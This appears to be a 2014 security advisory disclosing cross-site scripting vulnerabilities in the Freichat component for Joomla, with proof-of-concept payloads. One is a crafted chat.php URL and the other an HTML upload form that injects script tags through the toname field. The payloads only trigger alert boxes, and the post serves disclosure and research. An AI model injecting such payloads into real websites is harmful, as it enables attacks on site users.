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Joomla Freichat Cross Site Scripting

Posted on 15 March 2014

Hello,

Multiple cross-site scripting (XSS) vulnerabilities in Freichat
component for Joomla! allow remote attackers to inject
arbitrary web script or HTML code via (1) the id or xhash parameters to
/client/chat.php or (2) the toname parameter to /client/plugins/upload/upload.php.

File: /client/chat.php
Line: 53
POC:
http://site/client/chat.php?id=1"
></script><script>alert('XSS
1')</script>&xhash=1" <script>alert('XSS
2')</script>

File: /client/plugins/upload/upload.php
Line: 91
POC:
   </style>
    <body>
        <div
class="frei_upload_border">
        <form name="upload"
action="http://site/client/plugins/upload/upload.php"
method="post" enctype="multipart/form-data">
            <label
for="file">choose file to send</label><br/><br/>
            <input id ="fromid"
type="hidden" name="fromid"/>
            <input id="fromname"
type="hidden" name="fromname"/>
            <input id="toid"
type="hidden" name="toid"/>
                                    <!--
<input id="toname" type="hidden"
name="toname"/> -->
            <input id="toname"
type="hidden" name="toname"
value="<script>alert('XSS')</script>"/>
            <input type="file"
name="file" id="file" value="a.jpeg" />
            <br /><br/>
            <input  class ="frei_upload_button"
type="submit" name="submit" value="Send" />
        </form>
        </div>
    </body></html>

Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of
Technology's Scientific Excellence and Research Centers.

Best Regards.

 

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